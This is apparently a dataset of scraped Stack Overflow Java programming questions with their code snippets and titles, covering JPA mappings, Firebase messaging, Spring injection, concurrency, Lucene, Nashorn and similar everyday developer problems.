`` / '' and without it I have tested both usage , all work properly .",@ Path ( `` message '' ) public class MessageServices { @ PUT @ Path ( `` sendsms '' ) @ Consumes ( MediaType.APPLICATION_JSON ) @ Produces ( { MediaType.APPLICATION_JSON } ) public Response sendSms ( ) { // ... . } } @ Path ( `` /message '' ) public class MessageServices { @ PUT @ Path ( `` /sendsms '' ) @ Consumes ( MediaType.APPLICATION_JSON ) @ Produces ( { MediaType.APPLICATION_JSON } ) public Response sendSms ( ) { // ... . } },Restful Path Usage with `` / '' +Java,"I 'm currently working on a school project where we have to create our own 'Twitter ' application and I 'm having some trouble with the persistence of the domain objects.My Account class ( simplified for readability ) : My Tweet class ( simplified for readability ) : The persist code ( simplified ) : The problem I 'm having is that the likedBy and mentions are n't being persisted correctly . The linker tables are being generated and the data gets inserted but I keep getting a duplicate entry error on the insert of a user . I believe I modeled the relationship correctly ( unidirectional OneToMany ) , because I do n't want an Account to keep track of Tweets it was mentioned in . What I have tried : @ JoinColumn for both likes and mentions ( results in duplicate insert ) @ JoinTable for both likes and mentions ( results in duplicate insert ) Only @ OneToMany for both likes and mentions ( this does not result in an error but creates 1 linker table for both relationships where either can not be null ) @ OneToMany for likes and then @ joinColumn for mentions where nullable = true ( this results in the scenario where u can not be mentioned in a tweet unless you like it , which is odd behaviour ) @ OneToMany ( cascade = CascadeType.MERGE ) ( results in duplicate insert ) Netbeans output of duplicate insert error : I believe this error occurs because of the folowing flow of my JPA imlementation : Account persistedTweet persisted ( because it is inside Account ) Account persisted ( because it is inside Tweet ) < -- duplicate entryWhat I expect:1 linker table with a tweet_id ( fk ) and an account_id ( fk ) representing likes1 linker table with a tweet_id ( fk ) and an account_id ( fk ) representing mentionsIf someone could help me with the annotations or explain what else I 'm doing wrong that would be very much appreciated.Ty in advance for any help .","@ Entitypublic class Account implements Serializable { @ Id @ GeneratedValue ( strategy = GenerationType.SEQUENCE ) private Long id ; @ Column ( unique = true ) private String email ; @ OneToManyprivate final List < Account > following = new ArrayList < > ( ) ; @ OneToMany ( mappedBy = `` tweetedBy '' , cascade = ALL ) private final List < Tweet > tweets = new ArrayList < > ( ) ; @ Entitypublic class Tweet implements Serializable { @ Id @ GeneratedValue ( strategy = GenerationType.SEQUENCE ) private Long id ; private String content ; @ ManyToOneprivate Account tweetedBy ; @ OneToMany ( cascade = CascadeType.PERSIST ) @ JoinTable ( name = `` tweet_likes '' ) private final List < Account > likedBy = new ArrayList < > ( ) ; @ OneToMany ( cascade = CascadeType.PERSIST ) @ JoinTable ( name = `` tweet_mentions '' ) private final List < Account > mentions = new ArrayList < > ( ) ; Account a1 = new Account ( `` user1 @ gmail.com '' , `` password1 '' ) ; Account a2 = new Account ( `` user2 @ gmail.com '' , `` password2 '' ) ; Account a3 = new Account ( `` user3 @ gmail.com '' , `` password3 '' ) ; a1.addTweet ( `` Sup mah dudes . `` ) ; a1.addTweet ( `` yoyo '' ) ; a2.addTweet ( `` Allo Allo # tweeting '' ) ; a2.addTweet ( `` # testing yoyo '' ) ; a1.getTweets ( ) .get ( 0 ) .addLike ( a3 ) ; a1.addFollowing ( a3 ) ; em.persist ( a1 ) ; em.persist ( a2 ) ; em.persist ( a3 ) ; Warning : Local Exception Stack : Exception [ EclipseLink-4002 ] ( Eclipse Persistence Services - 2.6.4.qualifier ) : org.eclipse.persistence.exceptions.DatabaseExceptionInternal Exception : com.mysql.jdbc.exceptions.jdbc4.MySQLIntegrityConstraintViolationException : Duplicate entry 'user6 @ gmail.com ' for key 'EMAIL'Error Code : 1062Call : INSERT INTO ACCOUNT ( AVATARPATH , BIO , EMAIL , ENCRYPTEDPASSWORD , LOCATION , USERNAME , USERROLE , WEBSITE ) VALUES ( ? , ? , ? , ? , ? , ? , ? , ? ) bind = > [ 8 parameters bound ] Query : InsertObjectQuery ( domain.Account @ 3c7f9d54 )",JPA two unidirectional @ OneToMany relationships to the same entity resulting in duplicate entry +Java,I have my old codebase which currently uses java8.I am migrating my codebase to use jdk9-ea . But it looks like all the sun.font classes are now not available like the way they used to be earlierMore specifically i am using CompositeFontFont2DFontDesignMetricsFontManagerFontManagerFactorySunFontManagerand more..,error : package sun.font does not exist,How do i get all the classes of sun.font in jdk9 +Java,"I 'm writing a new JCE Provider for a client , because I need to expose some custom Cipher . After extending CipherSpi and ProviderSpi , I 'm ready to build . So I asked the client which version of Java they were targeting . They responded with : Damn . So they are using IBM Java 1.6.0 in an AIX machine.I have written most of the bespoke JCE Provider to support the functionality required ( using the How to Implement a Provider guide ) , extending ProviderSpi and CipherSpi abstract classes from the com.sun . * packages . Do I need to get the IBM Java JDK and extend the abstract classes from com.ibm.* ? Or can I just get my JCE provider JAR signed using my Sun-rooted Java code-signing certificate , and plop it straight in to the right place on the AIX system ? ( One of these is daft , but I do n't know which ) .I just don ’ t know enough about JCE / JVM flavours to know if I now need an IBM-rooted Java code-signing certificate ( if one even exists ) , or if the Sun-rooted signature is sufficient ?","# java -versionjava version `` 1.6.0 '' Java ( TM ) SE Runtime Environment ( build pap3260sr9fp2-20110627_03 ( SR9 FP2 ) ) IBM J9 VM ( build 2.4 , JRE 1.6.0 IBM J9 2.4 AIX ppc-32 jvmap3260sr9-20110624_85526 ( JIT enabled , AOT enabled ) J9VM - 20110624_085526 JIT - r9_20101028_17488ifx17GC - 20101027_AA ) JCL - 20110530_01 #",Bespoke JCE Provider on IBM AIX +Java,"I have a mobile app that gets notifications from a server through firebase cloud messaging.When I 'm launching the mobile app and doing the subscription , the mobile app received the notification from the server.The problem is when the server is going down and doing a restart . After this reset , the server is sending the mobile app the notification ( with the same procedure as before ) , but the mobile app does n't receive anything . Remember that the mobile app stays the same ( registered ) meanwhile ( the server doing the reset very quickly ) .The IP and ports of the server stays the same ... Here is the mobile code to subscribe the right channel : And here is the procedure within my server to send the notification : IMPORTANT : while the server is up , the communication between the server and the mobile app can work for a long time ... How can I resolve this issue ?","public class MainActivity extends AppCompatActivity { private static final String TAG = `` MainActivity '' ; private static final String NEW_CONTACTS_TOPIC = `` new_contacts '' ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; if ( Build.VERSION.SDK_INT > = Build.VERSION_CODES.O ) { // Create channel to show notifications . String channelId = getString ( R.string.default_notification_channel_id ) ; String channelName = getString ( R.string.default_notification_channel_name ) ; NotificationManager notificationManager = getSystemService ( NotificationManager.class ) ; notificationManager.createNotificationChannel ( new NotificationChannel ( channelId , channelName , NotificationManager.IMPORTANCE_LOW ) ) ; } if ( getIntent ( ) .getExtras ( ) ! = null ) { for ( String key : getIntent ( ) .getExtras ( ) .keySet ( ) ) { Object value = getIntent ( ) .getExtras ( ) .get ( key ) ; Log.d ( TAG , `` Key : `` + key + `` Value : `` + value ) ; } } Button subscribeButton = findViewById ( R.id.subscribeButton ) ; subscribeButton.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View v ) { FirebaseMessaging.getInstance ( ) .subscribeToTopic ( NEW_CONTACTS_TOPIC ) ; // Log and toast String msg = getString ( R.string.msg_subscribed ) ; Log.d ( TAG , msg ) ; Toast.makeText ( MainActivity.this , msg , Toast.LENGTH_SHORT ) .show ( ) ; } } ) ; Button logTokenButton = findViewById ( R.id.logTokenButton ) ; logTokenButton.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View v ) { // Get token String token = FirebaseInstanceId.getInstance ( ) .getToken ( ) ; // Log and toast String msg = getString ( R.string.msg_token_fmt , token ) ; Log.d ( TAG , msg ) ; Toast.makeText ( MainActivity.this , msg , Toast.LENGTH_SHORT ) .show ( ) ; } } ) ; } } public class MyFirebaseMessagingService extends FirebaseMessagingService { private static final String TAG = `` MyFirebaseMsgService '' ; /** * Called when message is received . * * @ param remoteMessage Object representing the message received from Firebase Cloud Messaging . */ @ Override public void onMessageReceived ( RemoteMessage remoteMessage ) { Log.d ( TAG , `` From : `` + remoteMessage.getFrom ( ) ) ; // Check if message contains a data payload . if ( remoteMessage.getData ( ) .size ( ) > 0 ) { Log.d ( TAG , `` Message data payload : `` + remoteMessage.getData ( ) ) ; try { handleNow ( remoteMessage ) ; } catch ( IOException e ) { Log.e ( TAG , e.getMessage ( ) ) ; } catch ( InterruptedException e ) { Log.e ( TAG , e.getMessage ( ) ) ; } } // Check if message contains a notification payload . if ( remoteMessage.getNotification ( ) ! = null ) { Log.d ( TAG , `` Message Notification Body : `` + remoteMessage.getNotification ( ) .getBody ( ) ) ; } } } @ Servicepublic class AndroidPushNotificationsService { private static final String FIREBASE_SERVER_KEY = `` XXXX '' ; private static final String FIREBASE_API_URL = `` https : //fcm.googleapis.com/fcm/send '' ; @ Asyncpublic CompletableFuture < String > send ( HttpEntity < String > entity ) { RestTemplate restTemplate = new RestTemplate ( ) ; ArrayList < ClientHttpRequestInterceptor > interceptors = new ArrayList < > ( ) ; interceptors.add ( new HeaderRequestInterceptor ( `` Authorization '' , `` key= '' + FIREBASE_SERVER_KEY ) ) ; interceptors.add ( new HeaderRequestInterceptor ( `` Content-Type '' , `` application/json '' ) ) ; restTemplate.setInterceptors ( interceptors ) ; String firebaseResponse = restTemplate.postForObject ( FIREBASE_API_URL , entity , String.class ) ; return CompletableFuture.completedFuture ( firebaseResponse ) ; }",Can not receive messages through firebase after server reset +Java,"I was reading about shadowing static methods , and I ca n't understand one thing , how compiler chose method to run.Suppose I have 3 classes . Obviously when I call method A.test ( ) B.test ( ) C.test ( ) i will have results 1 2 3But if i call it from instance ( I know bad practice ) , then When this code : will print out 3 as i expect , but when I dothen my output will be 2.Which is surprising for me , as b was instantiate as object of class C. Any reason why it was implemented like that ?",public static class A { public static int test ( ) { return 1 ; } } public static class B extends A { public static int test ( ) { return 2 ; } } public static class C extends B { public static int test ( ) { return 3 ; } } C c = new C ( ) ; System.out.println ( c.test ( ) ) ; B b = c ; System.out.println ( b.test ( ) ) ;,Shadowing static method +Java,Can an Abstract class non abstract method be overridden by using Anonymous class ? . The FindBugs tool is issuing `` Uncallable method of anonymous class '' issue . Please check the below example for more information,public class BaseClass { // This class is a Library Class . } public abstract class AbstractBaseClass extends BaseClass { public abstract void abstractMethod ( ) ; public void nonAbstractMethod ( ) { } } public abstract class DerivedAbstractClass extends AbstractBaseClass { // Here Some more additional methods has been added } public class DemoAbstract { public static void main ( String [ ] args ) { init ( ) ; } private static void init ( ) { DerivedAbstractClass derivedAbstractClass = new DerivedAbstractClass ( ) { @ Override public void abstractMethod ( ) { } @ Override public void nonAbstractMethod ( ) { // Is it possible to override like this ? } } ; } },Can an anonymous class implement the non abstract method of the abstract class ? +Java,"I 'm trying to get a Java interface going with Google Drive API by following the quickstart tutorial , but every time I run my program it throws `` NoClassDefFoundError : com/google/common/base/Preconditions . '' This has also happened when I tried implementing the Google CustomSearchEngine API.I have referenced all API classes with and without sources and javadocs attached . I have also attempted using findJAR dot com in attempt to obtain Preconditions with little success.Here are the lines of the code I used that the error references . I have also included the the lines which define the variables used within the error lines in comments above the referenced code.Line 61 : Line 88 : Error : It appears to behave as if a class is missing , but I have referenced all API libraries from Google Drive 's API in the build config . I have even tried getting the missing class from findjar dot com with little additional progress .","/*private static final JsonFactory JSON_FACTORY = JacksonFactory.getDefaultInstance ( ) ; InputStream in = new FileInputStream ( clientSecretFilePath ) ; */GoogleClientSecrets clientSecrets = GoogleClientSecrets.load ( JSON_FACTORY , new InputStreamReader ( in ) ) ; /*final NetHttpTransport HTTP_TRANSPORT = GoogleNetHttpTransport.newTrustedTransport ( ) ; */Credential credential = getCredentials ( HTTP_TRANSPORT ) ; Exception in thread `` main '' java.lang.NoClassDefFoundError : com/google/common/base/Preconditions at com.google.api.client.util.Preconditions.checkNotNull ( Preconditions.java:127 ) at com.google.api.client.json.jackson2.JacksonFactory.createJsonParser ( JacksonFactory.java:80 ) at com.google.api.client.json.JsonFactory.fromReader ( JsonFactory.java:236 ) at com.google.api.client.googleapis.auth.oauth2.GoogleClientSecrets.load ( GoogleClientSecrets.java:192 ) at drive.GDrive.getCredentials ( GDrive.java:61 ) at drive.GDrive.main ( GDrive.java:88 ) Caused by : java.lang.ClassNotFoundException : com.google.common.base.Preconditions at java.net.URLClassLoader.findClass ( URLClassLoader.java:381 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:424 ) at sun.misc.Launcher $ AppClassLoader.loadClass ( Launcher.java:331 ) at java.lang.ClassLoader.loadClass ( ClassLoader.java:357 ) ... 6 more",How do I get class com.google.common.base.Precondition for Java gDrive api ? +Java,"Why is n't there an Objects.equal receiving as an argument each primitive type ? I know you can box the value via # valueOf or let each primitive be autoboxed , but do n't you lose performance doing that ? That 's something that I 've been wondering about for sometime.Imagine I have something likeIs this the best way to implement equals ? The primitive values are going to be autoboxed , suffering ( even if it 's a little ) a performance degradation . I could just use == for them , but for me it would break the `` flow '' of reading the equals method , turning it a little ugly . So I wonder why guava lib do n't have an Objects.equal for each primitive type . Does someone know the answer ? EDITThere 's for the MoreObjects.toStringHelper overload for each primitive ( but byte ) , that 's one the reason I wondered about not having for Objects # equal . Also , using JB Nizet argument , it would turn the equals method safer because you can change int for Integer without having to worry about equal correctness.Guava docs","public class Foo { private final int integerValue ; private final boolean booleanValue ; private final Bar bar ; public Foo ( int integerValue , boolean booleanValue , Bar bar ) { this.integerValue = integerValue ; this.booleanValue = booleanValue ; this.bar = bar ; } @ SuppressWarnings ( `` boxing '' ) @ Override public boolean equals ( Object object ) { if ( object instanceof Foo ) { Foo that = ( Foo ) object ; return Objects.equal ( this.integerValue , that.integerValue ) & & Objects.equal ( this.booleanValue , that.booleanValue ) & & Objects.equal ( this.bar , that.bar ) ; } return false ; } // hashCode implementation using guava also . }","Why is n't there guava Objects.equal ( Object , Object ) to primitive types ?" +Java,We upgraded from Oracle JDK 8u77 to 8u92 and suddenly scripts that were previously working no longer work . A minimal reproducer is : Previously we gotBut now we 're getting.typeof now returns object where it would previously return number.My question is this behavior intentional or a bug ? I first though this would be a bug but JDK-8010732 seems to suggest otherwise .,"Map < String , Object > attributes = Collections.singletonMap ( `` GROSSREIMBAMOUNT '' , BigDecimal.ZERO ) ; String script = `` GROSSREIMBAMOUNT.toFixed ( 2 ) '' ; ScriptEngineManager mgr = new ScriptEngineManager ( ) ; ScriptEngine jsEngine = mgr.getEngineByName ( `` JavaScript '' ) ; for ( Entry < String , Object > entry : attributes.entrySet ( ) ) { jsEngine.put ( entry.getKey ( ) , entry.getValue ( ) ) ; } System.out.println ( jsEngine.eval ( script ) ) ; 0.00 TypeError : GROSSREIMBAMOUNT.toFixed is not a function",Nashorn no longer working with BigDecimal +Java,If I have a string that is currently emptyand reassign it is it bad it I do n't do it like this ? or will the compiler pick up on it and optimize for me ?,String s = `` '' ; s = `` '' ; if ( ! s.isEmpty ( ) ) { s = `` '' ; },Java : Assigning a variable its current value ? +Java,"Scala has partial functions which are functions that only apply to some values of the input type , but not all : And , even more useful , scala allows the `` partialness '' to be applied to the sub-type of a trait : What is the equivalent in java 8 ? Most google results confuse `` partial function '' with currying , e.g . `` partially applied function '' .","val isEven : PartialFunction [ Int , String ] = { case x if x % 2 == 0 = > x+ '' is even '' } assert ( isEven ( 10 ) equalsIgnoreCase `` 10 is even '' ) assert ( isEven.isDefinedAt ( 11 ) == false ) sealed trait BaseTraitcase class Foo ( i : Int ) extends BaseTraitcase class Bar ( s : String ) extends BaseTraitval fooPartialFunc : PartialFunction [ BaseTrait , Int ] = { case f : Foo = > 42 + f.i } assert ( fooPartialFunc ( Foo ( 8 ) ) == 50 ) assert ( fooPartialFunc.isDefinedAt ( Bar ( `` hello '' ) ) == false )",Does Scala 's Partial Function have a Java Equivalent ? +Java,"I am working on an Activity in which I parse a text with markup characters.What I 'm doing is converting them to several types of ClickableSpans.The problem is that I need to implement a function ( lets call it function B ) that implies having overlapping ClickableSpans and that causes several issues.So what I 'm doing now is creating a new SSB while detecting the overlapping spans , and removing the ones I do n't need for this particular function . Working fine.BUT , I need to be able to go back to the previous SSB and that does n't seem to work.STEP BY STEP : I guess it may sound somewhat confusing and I 'm not sure if I explained properly , but I ca n't get around this.EDIT : As per kcoppock answer , I learn it is n't possible to clone an ssb and valueOf ( ssb ) is just a copy of the object.So I ended up cloning my `` ssb '' manually by looping through all elements and applying them to the new ssb . Like this : By the way , TouchableSpan is a custom class I created that extends ClickableSpan","// I CREATE THE SSBs ... static SpannableStringBuilder ssb ; static SpannableStringBuilder ssbCopy ; // I IMPLEMENT MY CUSTOM FUNCTION THAT PARSES THE TEXT AND SETS THE SBB AS A TEXTVIEW CONTENT ... textView.setMovementMethod ( new LinkTouchMovementMethod ( ) ) ; ssb = addClickablePart ( chapterTextStr , markupCharactersArray ) ; textView.setText ( ssb ) ; // WHEN A BUTTON IS CLICKED I IMPLEMENT MY FUNCTION B . WHERE I CREATE A COPY OF MY ORIGINAL SSB AND STORE IT IN ssbCopy , AND SET IT AS THE TEXTVIEW CONTENT ... ssbCopy = SpannableStringBuilder.valueOf ( ssb ) ; // I REMOVE THE OVERLAPPING SPANS ... overlapSpans = ssbCopy.getSpans ( index , index+word.length ( ) , TouchableSpan.class ) ; for ( int c=0 ; c < overlapSpans.length ; c++ ) { ssbCopy.removeSpan ( overlapSpans [ c ] ) ; } // I SET THE NEW CLICKABLE SPANS ... ssbCopy.setSpan ( touchableSpan , index , index + word.length ( ) , 0 ) ; // AND SET THE NEW SSB CONTENT TO THE TEXTVIEWtextView.setText ( ssbCopy ) ; // EVERYTHING WORKS FINE UP TO HERE// BUT WHEN I TRY TO SET BACK THE ORIGINAL SSB BACK AS THE CONTENT OF MY TEXTVIEW WHEN THE USER CLICKS A BUTTON ... textView.setText ( ssb ) ; // THE ORIGINAL SSB IS EXACTLY LIKE THE COPY ( ssbCopy ) AND CONTAINS THE SAME CLICKABLE SPANS I ADDED . NOT ONLY THE ORIGINAL ONES TouchableSpan [ ] spans = ssb.getSpans ( 0 , ssb.length ( ) , TouchableSpan.class ) ; ssbCopy = new SpannableStringBuilder ( chapterTextStr+ '' dsadsa '' ) ; for ( int c=0 ; c < spans.length ; c++ ) { TouchableSpan obj = spans [ c ] ; ssbCopy.setSpan ( obj , ssb.getSpanStart ( obj ) , ssb.getSpanEnd ( obj ) , 0 ) ; }",Clone SpannableStringBuilder +Java,"This is n't homework for me , it 's a task given to students from some university . I 'm interested in the solution out of personal interest.The task is to create a class ( Calc ) which holds an integer . The two methods add and mul should add to or multiply this integer.Two threads are set-up simultaneously . One thread should call c.add ( 3 ) ten times , the other one should call c.mul ( 3 ) ten times ( on the same Calc-object of course ) .The Calc class should make sure that the operations are done alternatingly ( add , mul , add , mul , add , mul , .. ) .I have n't worked with concurrency related problems a lot - even less with Java . I 've come up with the following implementation for Calc : I 'd like to know if I 'm on the right track here . And there 's surely a more elegant way to the while ( b ) part.I 'd like to hear your guys ' thoughts.PS : The methods ' signature must n't be changed . Apart from that I 'm not restricted .","class Calc { private int sum = 0 ; //Is volatile actually needed ? Or is bool atomic by default ? Or it 's read operation , at least . private volatile bool b = true ; public void add ( int i ) { while ( ! b ) { } synchronized ( this ) { sum += i ; b = true ; } } public void mul ( int i ) { while ( b ) { } synchronized ( this ) { sum *= i ; b = false ; } } }",Is this java class thread safe ? +Java,"I 've got some strange behavior in working of @ Inject in Spring.This example works well : But if I replace @ Autowired with @ Inject , showHome method will throw NullPointerException because someBean is null . The same thing with setter injection . But with constructor injection both @ Autowired and @ Inject works well . Why does it happen ? I 'm using Spring 4.3.1.My dependencies in pom.xml looks like this :",@ Controller @ RequestMapping ( `` / '' ) public class HomeController { @ Autowired private SomeBean someBean ; @ RequestMapping ( method = GET ) public String showHome ( ) { System.out.println ( someBean.method ( ) ) ; return `` home '' ; } } < dependencies > < dependency > < groupId > org.springframework < /groupId > < artifactId > spring-context < /artifactId > < version > $ { spring.version } < /version > < /dependency > < dependency > < groupId > org.springframework < /groupId > < artifactId > spring-web < /artifactId > < version > $ { spring.version } < /version > < /dependency > < dependency > < groupId > org.springframework < /groupId > < artifactId > spring-webmvc < /artifactId > < version > $ { spring.version } < /version > < /dependency > < dependency > < groupId > javax < /groupId > < artifactId > javaee-web-api < /artifactId > < version > 7.0 < /version > < scope > provided < /scope > < /dependency > < dependencies >,Field injection with @ Inject in Spring +Java,"Suppose you define android : onClick= '' doClick '' in your Activity asThe documentation states that This name must correspond to a public method that takes exactly one parameter of type View.This is a given requirement of the underlying Class.getMethod ( ) method , which only finds public methods as the documentation states that it Returns a Method object that reflects the specified public member method of the class or interface represented by this Class object.So how is it possible , that this implementation , which should not work at all , works on some devices and emulators , while it does n't work on others using the same API levels as well ?",protected void doClick ( View view ) { },Why does a protected android : onClick method in Activity actually work ? +Java,"My Spring Boot application which uses FlyWay enterprise license does not start and says the following message : The license is actually not missing . I 've tried to set both as an env variable and in application.yml file with the name spring > > flyway > > licenseKey , but it is not reacting at all.Any ideas where could the problem be hidden ? The other env variables are considered by spring boot for database so this should not be the problem .",Caused by : org.flywaydb.core.api.FlywayException : Missing license key . Ensure flyway.licenseKey is set to a valid Flyway license key ( `` FL01 '' followed by 512 hex chars ),How to solve FlyWay license problem in Spring Boot Application +Java,"Let 's say I have a concurrent map with collections as value : and I update the value as follows : I know that computeIfPresent entire method invocation is performed atomically . However , considering this map is accessed by multiple threads concurrently , I 'm a little bit concerned about data visibility of the modifications done to the underlying collection . In this case will the value 5 be seen in the list after calling map.getMy question is will change to the list be visible in other threads upon calling map.get if changes are performed within computeIfPresent method call.Please note that I am aware that changes to the list will not be visible if I were to take reference to the list before doing the update operation . I am unsure if the changes to the list will be visible if I take reference to the list ( by calling map.get ) after the update operation.I am unsure how to interpret the docs , but it seems to me that happens-before relationship will guarantee visibility of the changes to the underlying collection in this particular case More formally , an update operation for a given key bears a happens-before relation with any ( non-null ) retrieval for that key reporting the updated value","Map < Integer , List < Integer > map = new ConcurrentHashMap < > ( ) ; map.putIfAbsent ( 8 , new ArrayList < > ( ) ) ; map.computeIfPresent ( 8 , ( i , c ) - > { c.add ( 5 ) ; return c ; } ) ;",Java ConcurrentHashMap.computeIfPresent value modification visibility +Java,"I have an interface ProductService with method findByCriteria . This method had a long list of nullable parameters , like productName , maxCost , minCost , producer and so on.I refactored this method by introducing Parameter Object . I created class SearchCriteria and now method signature looks like this : I thought that instances of SearchCriteria are only created by method callers and are only used inside findByCriteria method , i.e . : andSo I did not want to create a separate public class for SearchCriteria and put it inside ProductServiceInterface : Is there anything bad with this interface ? Where whould you place SearchCriteria class ?","findByCriteria ( SearchCriteria criteria ) void processRequest ( ) { SearchCriteria criteria = new SearchCriteria ( ) .withMaxCost ( maxCost ) ... ... . .withProducer ( producer ) ; List < Product > products = productService.findByCriteria ( criteria ) ; ... . } List < Product > findByCriteria ( SearchCriteria criteria ) { return doSmthAndReturnResult ( criteria.getMaxCost ( ) , criteria.getProducer ( ) ) ; } public interface ProductService { List < Product > findByCriteria ( SearchCriteria criteria ) ; static class SearchCriteria { ... } }",Is there anything bad in declaring nested class inside interface in java ? +Java,"I am learning Java-8 Lambda , I am trying to understand addThen default method in java.util.function.Function interface.As per my understanding addthen will first execute the First function and then it will execute the second method . So I created a program like below : I am getting an compilation error at the line as `` The method andThen ( Function ) in the type Function is not applicable for the arguments ( Function ) '' , After looking into the source code of Function interface , I understand that addThen default method is looking for instance of type Function < String , Book > . My questions is , If addThen default method is supposed to execute the first function and then the next fuction which is passed as parameter , why the addThen default method of function interface is written in such a manner excepting instance of type Function < String , Book > .","//Pojo class class Bike { public Bike ( String bikeName , int price , String bikeType ) { this.bikeName = bikeName ; this.price = price ; this.bikeType = bikeType ; } private String bikeType ; private String bikeName ; private int price ; public String getBikeType ( ) { return bikeType ; } @ Override public String toString ( ) { return `` Bike [ bikeType= '' + bikeType + `` , bikeName= '' + bikeName + `` , price= '' + price + `` ] '' ; } public void setBikeType ( String bikeType ) { this.bikeType = bikeType ; } public String getBikeName ( ) { return bikeName ; } public void setBikeName ( String bikeName ) { this.bikeName = bikeName ; } public int getPrice ( ) { return price ; } public void setPrice ( int price ) { this.price = price ; } } //Main classpublic class FunctionInbuildDefaultMethodsExample { public static void main ( String [ ] args ) { learningAndThen ( ) ; } static void learningAndThen ( ) { Function < Bike , String > updateBikefunction = ( Bike bike ) - > { System.out.println ( `` OldBike Name is : : '' + bike.getBikeName ( ) ) ; bike.setBikeName ( `` PULSOR-200CC '' ) ; return bike.getBikeName ( ) ; } ; Function < Bike , String > updateBikePriceFunction = ( Bike bike ) - > { System.out.println ( `` OldBike Price is : : '' + bike.getPrice ( ) ) ; bike.setPrice ( 95000 ) ; return bike.getBikeName ( ) ; } ; /* * First update Bike and then price * */ /*Compilation error here*/ Function < Bike , String > bikeFunction = updateBikefunction.andThen ( updateBikePriceFunction ) ; bikeFunction.apply ( new Bike ( `` PULSOR-125CC '' , 65000 , `` BAJAJ '' ) ) ; } } Function < Bike , String > bikeFunction =updateBikefunction.andThen ( updateBikePriceFunction ) ;",Java 8 Function class addThen default method +Java,"I want to distribute a lib relying on the SLF4J logger interface . What is the best practice way to obtain the logger which integrate nicely into any other project ? Sorry for the unstructured question style , I 'm still trying to figure out how all this stuff is glued together.In other projects I always use this piece of code , because I want to obtain a custom logger : If I create the class org.slf4j.impl.StaticLoggerBinder and have it some other lib , does the therein defined factory get used even if I just call LoggerFactory.getLogger ( NAME_OF_APP ) or is some default slf4j factory used ? I want the user to be able to use his own factory and logger , so which way is to perfere , and most of all why ?",private final static Logger LOGGER = LoggerFactory.getILoggerFactory ( ) .getLogger ( NAME_OF_APP ) ;,"SLF4J in distributable library , how to obtain Logger" +Java,"It seems that whenever I update an existing document in the index ( same behavior for delete / add ) , it ca n't be found with a TermQuery . Here 's a short snippet : iw = new IndexWriter ( directory , config ) ; This produces the following console output : It seems that after the update , the document ( rather the new document ) in the index and gets returned by the MatchAllDocsQuery , but ca n't be found by a TermQuery.Full sample code available at http : //pastebin.com/sP2Vav9vAlso , this only happens ( second search not working ) when the StringField value contains special characters ( e.g . file : /F : / ) .","Document doc = new Document ( ) ; doc.add ( new StringField ( `` string '' , `` a '' , Store.YES ) ) ; doc.add ( new IntField ( `` int '' , 1 , Store.YES ) ) ; iw.addDocument ( doc ) ; Query query = new TermQuery ( new Term ( `` string '' , '' a '' ) ) ; Document [ ] hits = search ( query ) ; doc = hits [ 0 ] ; print ( doc ) ; doc.removeField ( `` int '' ) ; doc.add ( new IntField ( `` int '' , 2 , Store.YES ) ) ; iw.updateDocument ( new Term ( `` string '' , '' a '' ) , doc ) ; hits = search ( query ) ; System.out.println ( hits.length ) ; System.out.println ( `` _________________ '' ) ; for ( Document hit : search ( new MatchAllDocsQuery ( ) ) ) { print ( hit ) ; } stored , indexed , tokenized , omitNorms , indexOptions=DOCS_ONLY < string : a > stored < int:1 > ________________0_________________stored , indexed , tokenized , omitNorms , indexOptions=DOCS_ONLY < string : a > stored < int:2 > ________________",Lucene ca n't find documents after update +Java,"I am still fairly new to Java programming and I was looking over a open source project and came across thisI have seen the use of @ before but only to do things like @ override before a member . To my surprise looking up the definition it brought me to user codeWhat is this code doing , and what is it useful for ? It looks like it is adding some form of metadata to the field . How is something like this used ? Doing some Googleing I found this is called `` Annotations '' but everything attached to it went over my head . Any kind of example where something like this would be used would be appreciated .",public @ TileNetworkData int progressPart = 0 ; import java.lang.annotation.Inherited ; import java.lang.annotation.Retention ; import java.lang.annotation.RetentionPolicy ; @ Retention ( RetentionPolicy.RUNTIME ) @ Inheritedpublic @ interface TileNetworkData { int staticSize ( ) default -1 ; },How do user annotations work ? +Java,I have the following code ( Java with Spark SQL ) - I never met a function call in Java that starts with a dollar.Tried googling it but my best guess so far is that it 's a result of a Java calling Scala code ( but in Scala source code there is no $ less function ) Could you please provide a solid explanation for this ?,import static org.apache.spark.sql.functions.col ; ... System.out.println ( `` === Filtering records with average age more than 20 === '' ) ; Dataset < Row > result = df.filter ( col ( `` age '' ) . $ less ( 20 ) ) ;,Dollar sign in function call in Java using Spark SQL +Java,"I am using stanford-corenlp-3.2.0.jar and stanford-corenlp-3.2.0-models.jar for identifying locations in a particular sentence . However I have observed that stanford-nlp is not able to identify the location if the word is passed in small case . For example : `` Find a restaurant in London '' . Here stanford will identify London as location . However if the following sentence is passed like : `` Find a restaurant in london '' , then stanford is unable to identify london as a location . To resolve this , I am converting first letter of every word in a sentence to capital . However , I am getting other issues if I do this.Based on answer provided by meskobalazs , I have downloaded the jar : stanford-corenlp-caseless-2015-04-20-models.jar.I replaced with the earlier jar : stanford-corenlp-3.2.0-models.However now I am getting the below exceptionThe place , where I am initializing , while the server starts up is","SEVERE : Exception sending context initialized event to listener instance of class servlets.NLP_initializerjava.lang.RuntimeException : edu.stanford.nlp.io.RuntimeIOException : Unrecoverable error while loading a tagger model at edu.stanford.nlp.pipeline.StanfordCoreNLP $ 4.create ( StanfordCoreNLP.java:493 ) at edu.stanford.nlp.pipeline.AnnotatorPool.get ( AnnotatorPool.java:81 ) at edu.stanford.nlp.pipeline.StanfordCoreNLP.construct ( StanfordCoreNLP.java:260 ) at edu.stanford.nlp.pipeline.StanfordCoreNLP. < init > ( StanfordCoreNLP.java:127 ) at edu.stanford.nlp.pipeline.StanfordCoreNLP. < init > ( StanfordCoreNLP.java:123 ) at servlets.NLP_initializer.contextInitialized ( NLP_initializer.java:34 ) at org.apache.catalina.core.StandardContext.listenerStart ( StandardContext.java:4887 ) at org.apache.catalina.core.StandardContext.startInternal ( StandardContext.java:5381 ) at org.apache.catalina.util.LifecycleBase.start ( LifecycleBase.java:150 ) at org.apache.catalina.core.ContainerBase $ StartChild.call ( ContainerBase.java:1559 ) at org.apache.catalina.core.ContainerBase $ StartChild.call ( ContainerBase.java:1549 ) at 